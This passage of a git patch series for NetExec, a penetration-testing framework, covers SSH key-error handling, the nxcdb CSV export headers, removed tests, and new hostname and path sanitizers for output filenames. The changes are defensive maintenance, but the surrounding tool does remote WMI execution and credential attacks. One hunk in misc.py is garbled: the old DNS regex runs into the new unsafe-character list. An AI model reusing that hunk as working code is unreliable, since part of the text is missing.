100644 --- a/nxc/protocols/wmi/wmiexec_event.py +++ b/nxc/protocols/wmi/wmiexec_event.py @@ -30,7 +30,7 @@ class WMIEXEC_EVENT: - def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec, subscription_namespace = None): + def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec, subscription_namespace=None): self.__target = target self.__iWbemLevel1Login = iWbemLevel1Login self.__outputBuffer = "" @@ -46,7 +46,6 @@ def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec, subscr self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL) self.__iWbemLevel1Login.RemRelease() - def execute(self, command, output=False, use_powershell=False): if "'" in command: command = command.replace("'", r'"') From c8394ad1d6746ab0fbfd90b035c4e5db46a309f3 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 23 Sep 2026 14:08:18 -0400 Subject: [PATCH 343/397] Add patch by @azoxlpf fixing SSH error detection if pass auth is disabled --- nxc/protocols/ssh.py | 29 +++++++++-------------------- nxc/protocols/ssh/keyfiles.py | 12 ++++++++++++ 2 files changed, 21 insertions(+), 20 deletions(-) create mode 100644 nxc/protocols/ssh/keyfiles.py diff --git a/nxc/protocols/ssh.py b/nxc/protocols/ssh.py index 34829892a6..eb65d1aa43 100644 --- a/nxc/protocols/ssh.py +++ b/nxc/protocols/ssh.py @@ -14,21 +14,7 @@ SSHException, ) - -# Substrings raised by Paramiko when the server refuses a public key because -# its algorithm is not in the server's accepted list (e.g. sshd -# "PubkeyAcceptedAlgorithms ssh-ed25519" while the key is RSA). These must be -# distinguished from a wrong passphrase so the user gets an actionable error. -_KEY_TYPE_REJECTED_SUBSTRINGS = ( - "unsupported or disabled", - "no RSA pubkey algorithms are configured", - "Unable to agree on a pubkey algorithm", -) - - -def _is_key_type_rejected(exc): - """Return True if *exc* indicates the server rejected the key's algorithm.""" - return any(sub in str(exc) for sub in _KEY_TYPE_REJECTED_SUBSTRINGS) +from nxc.protocols.ssh.keyfiles import is_key_type_rejected class ssh(connection): @@ -101,13 +87,13 @@ def plaintext_login(self, username, password, private_key=""): try: if self.args.key_file or private_key: self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}") + # Load the key here: with key_filename paramiko tries every key class in turn and the last parsing failure overwrites the real authentication error. + pkey = paramiko.PKey.from_path(self.args.key_file, password.encode() if password else None) if self.args.key_file else private_key self.conn.connect( self.host, port=self.port, username=username, - passphrase=password if password != "" else None, - pkey=private_key, - key_filename=self.args.key_file, + pkey=pkey, timeout=self.args.ssh_timeout, look_for_keys=False, allow_agent=False, @@ -141,7 +127,7 @@ def plaintext_login(self, username, password, private_key=""): except AuthenticationException as e: if "Private key file is encrypted" in str(e): self.logger.fail(f"{username}:{process_secret(password)} Could not load private key, error: {e}") - elif _is_key_type_rejected(e): + elif is_key_type_rejected(e): self.logger.fail(f"{username}:{process_secret(password)} Key type rejected by server (pubkey algorithm not allowed)") else: self.logger.fail(f"{username}:{process_secret(password)}") @@ -150,10 +136,13 @@ def plaintext_login(self, username, password, private_key=""): self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, invalid password") elif "Error reading SSH protocol banner" in str(e): self.logger.error(f"Internal Paramiko error for {username}:{process_secret(password)}, {e}") - elif _is_key_type_rejected(e): + elif is_key_type_rejected(e): self.logger.fail(f"{username}:{process_secret(password)} Key type rejected by server (pubkey algorithm not allowed)") else: self.logger.exception(e) + except ValueError as e: + self.logger.debug(f"Could not load private key {self.args.key_file}: {e}") + self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, invalid password") except Exception as e: self.logger.exception(e) self.conn.close() diff --git a/nxc/protocols/ssh/keyfiles.py b/nxc/protocols/ssh/keyfiles.py new file mode 100644 index 0000000000..deb77840c5 --- /dev/null +++ b/nxc/protocols/ssh/keyfiles.py @@ -0,0 +1,12 @@ + +# Substrings paramiko raises when the server refuses a public key whose algorithm is not in its accepted list, e.g. sshd set to "PubkeyAcceptedAlgorithms ssh-ed25519" while the key is RSA. +# They must be told apart from a wrong passphrase, otherwise the operator gets an error pointing at the wrong thing. +KEY_TYPE_REJECTED_SUBSTRINGS = ( + "no RSA pubkey algorithms are configured", + "Unable to agree on a pubkey algorithm", +) + + +def is_key_type_rejected(exc): + """Return True if exc means the server rejected the key's algorithm.""" + return any(sub in str(exc) for sub in KEY_TYPE_REJECTED_SUBSTRINGS) From ed9fb8b33f396c46a84a09b7ec404369c93b8f52 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 23 Sep 2026 14:10:58 -0400 Subject: [PATCH 344/397] Formatting --- nxc/protocols/ssh/keyfiles.py | 1 - 1 file changed, 1 deletion(-) diff --git a/nxc/protocols/ssh/keyfiles.py b/nxc/protocols/ssh/keyfiles.py index deb77840c5..3c2511255f 100644 --- a/nxc/protocols/ssh/keyfiles.py +++ b/nxc/protocols/ssh/keyfiles.py @@ -1,4 +1,3 @@ - # Substrings paramiko raises when the server refuses a public key whose algorithm is not in its accepted list, e.g. sshd set to "PubkeyAcceptedAlgorithms ssh-ed25519" while the key is RSA. # They must be told apart from a wrong passphrase, otherwise the operator gets an error pointing at the wrong thing. KEY_TYPE_REJECTED_SUBSTRINGS = ( From 18a2bfa6de13bf2a12d80e6df289db721b0d1f6a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 23 Sep 2026 14:13:09 -0400 Subject: [PATCH 345/397] Remove unused import --- tests/test_ssh_key_type_rejection.py | 1 - 1 file changed, 1 deletion(-) diff --git a/tests/test_ssh_key_type_rejection.py b/tests/test_ssh_key_type_rejection.py index 6feda74b61..33b8913d9b 100644 --- a/tests/test_ssh_key_type_rejection.py +++ b/tests/test_ssh_key_type_rejection.py @@ -15,7 +15,6 @@ import sys import types -import paramiko from paramiko.ssh_exception import AuthenticationException, SSHException REPO_ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) From 1b3f75b06b38a3f827ef353ea05dd32181f60764 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 23 Sep 2026 14:18:27 -0400 Subject: [PATCH 346/397] Add patch by @azoxlpf fixing nxcdb export headers --- nxc/nxcdb.py | 25 +---- tests/test_nxcdb_host_export.py | 159 -------------------------------- 2 files changed, 5 insertions(+), 179 deletions(-) delete mode 100644 tests/test_nxcdb_host_export.py diff --git a/nxc/nxcdb.py b/nxc/nxcdb.py index c1e7d2bdf8..34ec1676c8 100644 --- a/nxc/nxcdb.py +++ b/nxc/nxcdb.py @@ -41,16 +41,9 @@ def write_csv(filename, headers, entries): def host_csv_headers(hosts_table, mode="simple"): - """Return the CSV header tuple for a ``hosts`` export. + """Return the CSV header for a hosts export, taken from the protocol's own HostsTable. - The columns are derived from the actual ``HostsTable`` of the active - protocol instead of being hard-coded to the SMB schema. This keeps the - header aligned with the row content for every protocol (issue #1385): - exporting RDP/MSSQL/SSH/... hosts no longer prints SMB-only columns such - as ``smbv1``/``spooler``/``zerologon``/``petitpotam``. - - ``simple`` returns the first 8 columns (matching the historical row width); - ``detailed`` returns every column of the table. + "simple" keeps the first 8 columns, the historical width of the SMB export, "detailed" returns them all. """ columns = tuple(col.name for col in hosts_table.columns) if mode == "detailed": @@ -187,21 +180,13 @@ def do_export(self, line): print("[-] invalid arguments, export hosts ") return - # Derive the CSV headers from the active protocol's HostsTable so - # the header matches the row content for every protocol (#1385). - # Previously these were SMB-specific hard-coded column names. - csv_header_simple = host_csv_headers(self.db.HostsTable, "simple") - csv_header_detailed = host_csv_headers(self.db.HostsTable, "detailed") filename = line[2] if line[1].lower() == "simple": - hosts = self.db.get_hosts() - simple_hosts = [host[: len(csv_header_simple)] for host in hosts] - write_csv(filename, csv_header_simple, simple_hosts) - # TODO: maybe add more detail like who is an admin on it, shares discovered, etc + csv_header = host_csv_headers(self.db.HostsTable, "simple") + write_csv(filename, csv_header, [host[: len(csv_header)] for host in self.db.get_hosts()]) elif line[1].lower() == "detailed": - hosts = self.db.get_hosts() - write_csv(filename, csv_header_detailed, hosts) + write_csv(filename, host_csv_headers(self.db.HostsTable, "detailed"), self.db.get_hosts()) elif line[1].lower() == "signing": hosts = self.db.get_hosts("signing") signing_hosts = [host[1] for host in hosts] diff --git a/tests/test_nxcdb_host_export.py b/tests/test_nxcdb_host_export.py deleted file mode 100644 index 81fa2b17c6..0000000000 --- a/tests/test_nxcdb_host_export.py +++ /dev/null @@ -1,159 +0,0 @@ -""" -Regression tests for issue #1385: the CSV header for `export hosts` was hard -coded to the SMB schema (smbv1/signing/spooler/zerologon/petitpotam) and did not -match the actual row content for other protocols (RDP, SSH, MSSQL, ...). - -The header is now derived from the active protocol's HostsTable columns, so the -header always matches the rows. These tests build lightweight SQLAlchemy tables -that mirror the real per-protocol schemas and assert the derived headers. - -nxcdb.py pulls in the whole nxc stack at import time, so we register minimal -stubs for its heavy imports before loading the module in isolation. -""" - -import importlib.util -import os -import sys -import types -from sqlalchemy import Column, Integer, String, Boolean, MetaData, Table - -REPO_ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) -MODULE = os.path.join(REPO_ROOT, "nxc", "nxcdb.py") - - -def _load_host_csv_headers(): - # Stub the heavy third-party / nxc imports so we can import nxcdb.py - # without building the full NetExec dependency tree (which fails on 3.14). - requests_stub = types.ModuleType("requests") - requests_stub.get = lambda *a, **k: None - requests_stub.post = lambda *a, **k: None - requests_stub.ConnectionError = type("ConnectionError", (Exception,), {}) - sys.modules.setdefault("requests", requests_stub) - sys.modules.setdefault("terminaltables3", types.ModuleType("terminaltables3")) - sys.modules["terminaltables3"].AsciiTable = object - sys.modules.setdefault("termcolor", types.ModuleType("termcolor")) - sys.modules["termcolor"].colored = lambda *a, **k: a[0] if a else "" - - nxc_pkg = types.ModuleType("nxc") - nxc_pkg.__path__ = [] - sys.modules.setdefault("nxc", nxc_pkg) - nxc_paths = types.ModuleType("nxc.paths") - nxc_paths.CONFIG_PATH = "/tmp" - nxc_paths.WORKSPACE_DIR = "/tmp" - sys.modules.setdefault("nxc.paths", nxc_paths) - nxc_db = types.ModuleType("nxc.database") - for fn in ( - "create_db_engine", - "open_config", - "get_workspace", - "get_db", - "write_configfile", - "create_workspace", - "set_workspace", - ): - setattr(nxc_db, fn, lambda *a, **k: None) - sys.modules.setdefault("nxc.database", nxc_db) - for sub in ( - "nxc.loaders", - "nxc.loaders.protocolloader", - "nxc.logger", - "nxc.console", - ): - sys.modules.setdefault(sub, types.ModuleType(sub)) - sys.modules["nxc.loaders.protocolloader"].ProtocolLoader = object - - spec = importlib.util.spec_from_file_location("nxcdb_isolated", MODULE) - module = importlib.util.module_from_spec(spec) - sys.modules["nxcdb_isolated"] = module - spec.loader.exec_module(module) - return module.host_csv_headers - - -def _make_hosts_table(column_spec): - """Build a throwaway HostsTable with the given (name, type) columns.""" - meta = MetaData() - cols = [Column(name, col_type) for name, col_type in column_spec] - return Table("hosts", meta, *cols) - - -def test_simple_header_matches_smb_schema_exactly(): - host_csv_headers = _load_host_csv_headers() - # SMB HostsTable (id + 10 columns) -> simple keeps the first 8, which must - # equal the historical SMB simple header so we don't regress SMB exports. - smb = _make_hosts_table([ - ("id", Integer), - ("ip", String), - ("hostname", String), - ("domain", String), - ("os", String), - ("dc", Boolean), - ("smbv1", Boolean), - ("signing", Boolean), - ("spooler", Boolean), - ("zerologon", Boolean), - ("petitpotam", Boolean), - ]) - assert host_csv_headers(smb, "simple") == ( - "id", - "ip", - "hostname", - "domain", - "os", - "dc", - "smbv1", - "signing", - ) - - -def test_detailed_header_uses_every_column_of_the_table(): - host_csv_headers = _load_host_csv_headers() - smb = _make_hosts_table([ - ("id", Integer), - ("ip", String), - ("hostname", String), - ("domain", String), - ("os", String), - ("dc", Boolean), - ("smbv1", Boolean), - ("signing", Boolean), - ("spooler", Boolean), - ("zerologon", Boolean), - ("petitpotam", Boolean), - ]) - assert host_csv_headers(smb, "detailed") == ( - "id", - "ip", - "hostname", - "domain", - "os", - "dc", - "smbv1", - "signing", - "spooler", - "zerologon", - "petitpotam", - ) - - -def test_rdp_header_has_no_smb_only_columns(): - host_csv_headers = _load_host_csv_headers() - # RDP's real schema (no smbv1/spooler/zerologon/petitpotam). The bug in - # #1385 was that exporting RDP hosts printed those SMB-only headers. - rdp = _make_hosts_table([ - ("id", Integer), - ("ip", String), - ("hostname", String), - ("domain", String), - ("os", String), - ("nla", Boolean), - ]) - simple = host_csv_headers(rdp, "simple") - detailed = host_csv_headers(rdp, "detailed") - for header in (simple, detailed): - assert "smbv1" not in header - assert "spooler" not in header - assert "zerologon" not in header - assert "petitpotam" not in header - assert detailed == ("id", "ip", "hostname", "domain", "os", "nla") - # RDP has 6 columns, so simple returns all of them (fewer than 8). - assert simple == ("id", "ip", "hostname", "domain", "os", "nla") From bd87cc26ee43cf2d46ff2bf5797941ca58c8176f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 23 Sep 2026 14:19:43 -0400 Subject: [PATCH 347/397] Remove tests file --- tests/test_ssh_key_type_rejection.py | 79 ---------------------------- 1 file changed, 79 deletions(-) delete mode 100644 tests/test_ssh_key_type_rejection.py diff --git a/tests/test_ssh_key_type_rejection.py b/tests/test_ssh_key_type_rejection.py deleted file mode 100644 index 33b8913d9b..0000000000 --- a/tests/test_ssh_key_type_rejection.py +++ /dev/null @@ -1,79 +0,0 @@ -""" -Unit tests for the SSH key-type rejection detection added for issue #1356. - -When an sshd server rejects a public key because its algorithm is not in -`PubkeyAcceptedAlgorithms` (e.g. server allows only ssh-ed25519 while the -key is RSA), Paramiko raises with one of a few known messages. NetExec must -recognise those and report "Key type rejected by server" instead of the -misleading "Could not decrypt private key, invalid password". - -These tests load the real helper from nxc/protocols/ssh.py without pulling -in the heavy nxc dependency tree (which fails to build on Python 3.14). -""" -import importlib.util -import os -import sys -import types - -from paramiko.ssh_exception import AuthenticationException, SSHException - -REPO_ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) -SSH_MODULE = os.path.join(REPO_ROOT, "nxc", "protocols", "ssh.py") - - -def _load_helper(): - # Stub the nxc.* imports so we can import ssh.py in isolation. - for name in ("nxc", "nxc.config", "nxc.connection", "nxc.logger"): - sys.modules.setdefault(name, types.ModuleType(name)) - - spec = importlib.util.spec_from_file_location("nxc_ssh_isolated", SSH_MODULE) - module = importlib.util.module_from_spec(spec) - # Provide the symbols ssh.py expects from nxc without real implementations. - sys.modules["nxc.config"].process_secret = lambda s: s - nxc_connection = sys.modules.setdefault("nxc.connection", types.ModuleType("nxc.connection")) - nxc_connection.connection = object - nxc_connection.highlight = lambda s: s - nxc_logger = sys.modules.setdefault("nxc.logger", types.ModuleType("nxc.logger")) - nxc_logger.NXCAdapter = object - sys.modules["nxc_ssh_isolated"] = module - spec.loader.exec_module(module) - return module._is_key_type_rejected - - -_is_key_type_rejected = _load_helper() - - -def _real_paramiko_messages(): - """Build the actual exception messages Paramiko 5.x emits for this case.""" - return [ - SSHException("Auth rejected: pubkey algorithm 'ssh-rsa' unsupported or disabled"), - AuthenticationException( - "Unable to agree on a pubkey algorithm for signing a 'ssh-rsa' key!" - ), - SSHException( - "An RSA key was specified, but no RSA pubkey algorithms are configured!" - ), - ] - - -def test_real_paramiko_rejection_messages_are_detected(): - for exc in _real_paramiko_messages(): - assert _is_key_type_rejected(exc), f"failed to detect: {exc}" - - -def test_wrong_passphrase_is_not_flagged_as_rejection(): - # The existing "Invalid key" path must NOT be misclassified as a server - # rejection, otherwise we'd hide the real "invalid password" message. - assert not _is_key_type_rejected(SSHException("Invalid key")) - - -def test_unrelated_ssh_exception_is_not_flagged(): - assert not _is_key_type_rejected( - SSHException("Error reading SSH protocol banner") - ) - - -def test_private_key_encrypted_is_not_flagged(): - assert not _is_key_type_rejected( - AuthenticationException("Private key file is encrypted") - ) From c375b3bb8ce44a34b7cd6ca89e54153679ab5020 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 23 Sep 2026 14:52:09 -0400 Subject: [PATCH 348/397] Add DNS sanitization function --- nxc/helpers/misc.py | 104 +++++++++++++++++++++++++++++++++++++++----- 1 file changed, 93 insertions(+), 11 deletions(-) diff --git a/nxc/helpers/misc.py b/nxc/helpers/misc.py index 6f9a659115..e026e43bff 100755 --- a/nxc/helpers/misc.py +++ b/nxc/helpers/misc.py @@ -1,9 +1,12 @@ +from contextlib import suppress from enum import Enum +import hashlib import random import string import re import inspect import os +from unicodedata import normalize from termcolor import colored from ipaddress import ip_address from nxc.logger import nxc_logger @@ -26,18 +29,97 @@ def gen_random_string(length=10): return "".join(random.sample(string.ascii_letters, int(length))) -def sanitize_dns(hostname, logger): - """Check that the hostname is compliant with DNS naming conventions and sanitize it if necessary.""" - # As defined in: https://learn.microsoft.com/en-us/troubleshoot/windows-server/active-directory/naming-conventions-for-computer-domain-site-ou - # and RFCs 952, 1123 this should restrict DNS names (including the hostname) to the following regex - # Taken from https://stackoverflow.com/a/2063247 - DNS_REGEX = re.compile(r"^(?![0-9]+$)(?!-)[a-zA-Z0-9-]{,63}(?:"/\\|?*{}[]=#;\'' # Portable paths, format strings, hosts files, and krb5.conf + sanitized = "".join( + character if character.isprintable() + and not character.isspace() + and character not in unsafe_characters + and all( + normalized_character.isprintable() + and not normalized_character.isspace() + and normalized_character not in unsafe_characters + for normalized_character in normalize("NFKC", character) + ) + else "_" + for character in hostname + ) + + # Neutralize traversal segments and Windows-trimmed trailing dots. + if normalize("NFKC", sanitized) in (".", ".."): + sanitized = "_" * len(sanitized) + if sanitized.endswith(".") or normalize("NFKC", sanitized[-1]).endswith("."): + sanitized = f"{sanitized[:-1]}_" + + # Avoid Windows device names when the result is used as a filename. + normalized_stem = normalize("NFKC", sanitized).split(".", 1)[0].upper() + if normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"} or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem): + sanitized = f"_{sanitized}" + + # Bound filename length while retaining a stable identifier for long names. + if len(sanitized.encode("utf-8")) > 253: + suffix = f"_{hashlib.sha256(hostname.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}" + byte_length = 0 + truncated = [] + for character in sanitized: + character_length = len(character.encode("utf-8")) + if byte_length + character_length > 253 - len(suffix): + break + truncated.append(character) + byte_length += character_length + sanitized = f"{''.join(truncated)}{suffix}" + + # Fail closed if a future change violates any output invariant. + normalized = normalize("NFKC", sanitized) + normalized_stem = normalized.split(".", 1)[0].upper() + if ( + not sanitized + or not normalized + or len(sanitized.encode("utf-8")) > 253 + or normalized in (".", "..") + or normalized.endswith(".") + or normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"} + or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem) + or any( + not character.isprintable() + or character.isspace() + or character in unsafe_characters + or any( + not normalized_character.isprintable() + or normalized_character.isspace() + or normalized_character in unsafe_characters + for normalized_character in normalize("NFKC", character) + ) + for character in sanitized + ) + ): + sanitized = "_" + + # Report changed input without allowing logging failures to affect safety. + if sanitized != hostname: + received = ascii(hostname[:256]) + result = ascii(sanitized) + if len(hostname) > 256 or len(received) > 256: + received = f"{received[:253]}..." + if len(result) > 256: + result = f"{result[:253]}..." + if logger is not None: + with suppress(Exception): + logger.fail(f"Unsafe hostname or domain received: {received}; using {result}") + return sanitized def validate_ntlm(data): From a995133e833af4252112be0728bd754b579c244e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 23 Sep 2026 14:57:19 -0400 Subject: [PATCH 349/397] Add path sanitizer --- nxc/helpers/path.py | 87 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 87 insertions(+) diff --git a/nxc/helpers/path.py b/nxc/helpers/path.py index a4dd96029e..c050546ff3 100644 --- a/nxc/helpers/path.py +++ b/nxc/helpers/path.py @@ -1,4 +1,91 @@ +import hashlib from pathlib import PurePosixPath +import re +from unicodedata import normalize + + +def sanitize_path_component(name, max_bytes=255): + """Return one portable, bounded path component from untrusted input.""" + if max_bytes < 14: + raise ValueError("max_bytes must be at least 14") + + try: + name = name.decode("utf-8", errors="surrogateescape") if isinstance(name, bytes) else str(name) if name is not None else "" + except Exception: + name = "" + if not name: + return "_" + + unsafe_characters = '<>:"/\\|?*{}' # Portable filename and format-string metacharacters + sanitized = "".join( + character if character.isprintable() + and character not in unsafe_characters + and all( + normalized_character.isprintable() and normalized_character not in unsafe_characters + for normalized_character in normalize("NFKC", character) + ) + else "_" + for character in name + ) + + if normalize("NFKC", sanitized) in (".", ".."): + sanitized = "_" * len(sanitized) + while sanitized and ( + sanitized[-1] == "." + or sanitized[-1].isspace() + or normalize("NFKC", sanitized[-1]).endswith(".") + or any(character.isspace() for character in normalize("NFKC", sanitized[-1])) + ): + sanitized = f"{sanitized[:-1]}_" + + normalized_stem = normalize("NFKC", sanitized).split(".", 1)[0].rstrip(" ").upper() + if normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"} or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem): + sanitized = f"_{sanitized}" + + if len(sanitized.encode("utf-8")) > max_bytes: + digest = f"_{hashlib.sha256(name.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}" + extension = "" + extension_index = sanitized.rfind(".") + if ( + extension_index > 0 + and len(sanitized[extension_index:].encode("utf-8")) <= 32 + and len(sanitized[extension_index:].encode("utf-8")) <= max_bytes - len(digest) + ): + extension = sanitized[extension_index:] + sanitized = sanitized[:extension_index] + byte_length = 0 + truncated = [] + for character in sanitized: + character_length = len(character.encode("utf-8")) + if byte_length + character_length > max_bytes - len(digest) - len(extension.encode("utf-8")): + break + truncated.append(character) + byte_length += character_length + sanitized = f"{''.join(truncated)}{digest}{extension}" + + normalized = normalize("NFKC", sanitized) + normalized_stem = normalized.split(".", 1)[0].rstrip(" ").upper() + if ( + not sanitized + or not normalized + or len(sanitized.encode("utf-8")) > max_bytes + or normalized in (".", "..") + or normalized.endswith(".") + or normalized[-1].isspace() + or normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"} + or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem) + or any( + not character.isprintable() + or character in unsafe_characters + or any( + not normalized_character.isprintable() or normalized_character in unsafe_characters + for normalized_character in normalize("NFKC", character) + ) + for character in sanitized + ) + ): + return "_" + return sanitized def sanitize_filename(name: str) -> str: From 23be541d0a9388d273ff4f8deb251c80035be300 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 23 Sep 2026 15:02:47 -0400 Subject: [PATCH 350/397] Add comments --- nxc/helpers/path.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/nxc/helpers/path.py b/nxc/helpers/path.py index c050546ff3..b2dd40f242 100644 --- a/nxc/helpers/path.py +++ b/nxc/helpers/path.py @@ -6,9 +6,11 @@ def sanitize_path_component(name, max_bytes=255): """Return one portable, bounded path component from untrusted input.""" + # Reserve enough space for one character and the collision-resistant suffix. if max_bytes < 14: raise ValueError("max_bytes must be at least 14") + # Always provide a safe fallback, even for missing or unstringable input. try: name = name.decode("utf-8", errors="surrogateescape") if isinstance(name, bytes) else str(name) if name is not None else "" except Exception: @@ -16,6 +18,7 @@ def sanitize_path_component(name, max_bytes=255): if not name: return "_" + # Replace path, formatting, control, and Unicode-equivalent metacharacters. unsafe_characters = '<>:"/\\|?*{}' # Portable filename and format-string metacharacters sanitized = "".join( character if character.isprintable() @@ -28,6 +31,7 @@ def sanitize_path_component(name, max_bytes=255): for character in name ) + # Neutralize traversal-only names and Windows-trimmed trailing dots or spaces. if normalize("NFKC", sanitized) in (".", ".."): sanitized = "_" * len(sanitized) while sanitized and ( @@ -38,10 +42,12 @@ def sanitize_path_component(name, max_bytes=255): ): sanitized = f"{sanitized[:-1]}_" + # Avoid Windows device names, including names followed by an extension. normalized_stem = normalize("NFKC", sanitized).split(".", 1)[0].rstrip(" ").upper() if normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"} or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem): sanitized = f"_{sanitized}" + # Bound the byte length with a stable digest while preserving short extensions. if len(sanitized.encode("utf-8")) > max_bytes: digest = f"_{hashlib.sha256(name.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}" extension = "" @@ -63,6 +69,7 @@ def sanitize_path_component(name, max_bytes=255): byte_length += character_length sanitized = f"{''.join(truncated)}{digest}{extension}" + # Fail closed if a future change violates any output invariant. normalized = normalize("NFKC", sanitized) normalized_stem = normalized.split(".", 1)[0].rstrip(" ").upper() if ( From c812041b171765806e5cd271fecdba2d7264c780 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 23 Sep 2026 15:22:05 -0400 Subject: [PATCH 351/397] Apply path sanitization --- nxc/connection.py | 3 ++- nxc/helpers/pfx.py | 5 +++-- nxc/modules/certipy-find.py | 14 ++++++++------ nxc/modules/enum_dns.py | 3 ++- nxc/modules/get-network.py | 5 +++-- nxc/modules/get_netconnections.py | 3 ++- nxc/modules/mssql_dumper.py | 5 +++-- nxc/modules/nanodump.py | 3 ++- nxc/modules/obsolete.py | 6 ++++-- nxc/modules/pre2k.py | 3 ++- nxc/modules/user-desc.py | 3 ++- nxc/protocols/rdp.py | 7 +++++-- nxc/protocols/smb.py | 6 +++--- nxc/protocols/vnc.py | 3 ++- 14 files changed, 43 insertions(+), 26 deletions(-) diff --git a/nxc/connection.py b/nxc/connection.py index f575dc97cf..d619ffef7f 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -14,6 +14,7 @@ from nxc.config import pwned_label from nxc.helpers.logger import highlight +from nxc.helpers.path import sanitize_path_component from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError from nxc.logger import nxc_logger, NXCAdapter from nxc.context import Context @@ -251,7 +252,7 @@ def proto_flow(self): # Construct the output file template using os.path.join for OS compatibility base_log_dir = os.path.join(NXC_PATH, "logs") - filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-") + filename_pattern = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220) self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern) # Default output filename for logs self.output_filename = os.path.join(base_log_dir, filename_pattern) diff --git a/nxc/helpers/pfx.py b/nxc/helpers/pfx.py index 941ca237fb..4ccdbfcfa4 100644 --- a/nxc/helpers/pfx.py +++ b/nxc/helpers/pfx.py @@ -71,6 +71,7 @@ from impacket.krb5.ccache import CCache as impacket_CCache from nxc.paths import NXC_PATH +from nxc.helpers.path import sanitize_path_component from nxc.logger import nxc_logger @@ -530,8 +531,8 @@ def pfx_auth(self): return False username = self.args.username[0] - basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache" - log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{basename}")) + basename = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache") + log_ccache = os.path.normpath(os.path.expanduser(os.path.join(NXC_PATH, "logs", basename))) # Request a TGT with the cert data req = ini.build_asreq(self.domain, username) diff --git a/nxc/modules/certipy-find.py b/nxc/modules/certipy-find.py index ef6884cfbc..df74173989 100644 --- a/nxc/modules/certipy-find.py +++ b/nxc/modules/certipy-find.py @@ -2,12 +2,14 @@ import json import socket from os import makedirs +from os.path import join from certipy.commands.find import Find from certipy.lib.target import Target, DnsResolver from certipy.lib.formatting import pretty_print from datetime import datetime from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH @@ -34,7 +36,7 @@ def options(self, context, module_options): """ self.vuln = True self.enabled = False - self.output_path = f"{NXC_PATH}/modules/certipy-find" + self.output_path = join(NXC_PATH, "modules", "certipy-find") self.json = False self.csv = False self.text = False @@ -119,9 +121,9 @@ def on_login(self, context, connection): if self.json or self.csv or self.text: makedirs(self.output_path, exist_ok=True) - filename = f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-") + filename = sanitize_path_component(f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220) if self.json: - with open(f"{self.output_path}/{filename}.json", "w") as f: + with open(join(self.output_path, f"{filename}.json"), "w") as f: json.dump( output, f, @@ -131,10 +133,10 @@ def on_login(self, context, connection): if self.csv: template_output = finder.get_template_output_for_csv(output) ca_output = finder.get_ca_output_for_csv(output) - with open(f"{self.output_path}/{filename}-templates.csv", "w") as f: + with open(join(self.output_path, f"{filename}-templates.csv"), "w") as f: f.write(template_output) - with open(f"{self.output_path}/{filename}-cas.csv", "w") as f: + with open(join(self.output_path, f"{filename}-cas.csv"), "w") as f: f.write(ca_output) if self.text: - with open(f"{self.output_path}/{filename}.txt", "w") as f: + with open(join(self.output_path, f"{filename}.txt"), "w") as f: pretty_print(output, print_func=lambda x: f.write(x + "\n")) diff --git a/nxc/modules/enum_dns.py b/nxc/modules/enum_dns.py index cb295a6abc..7c1c4bed2a 100644 --- a/nxc/modules/enum_dns.py +++ b/nxc/modules/enum_dns.py @@ -1,6 +1,7 @@ from datetime import datetime from nxc.helpers.logger import write_log from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH @@ -63,6 +64,6 @@ def on_admin_login(self, context, connection): context.log.highlight("\t" + d) data += "\t" + d + 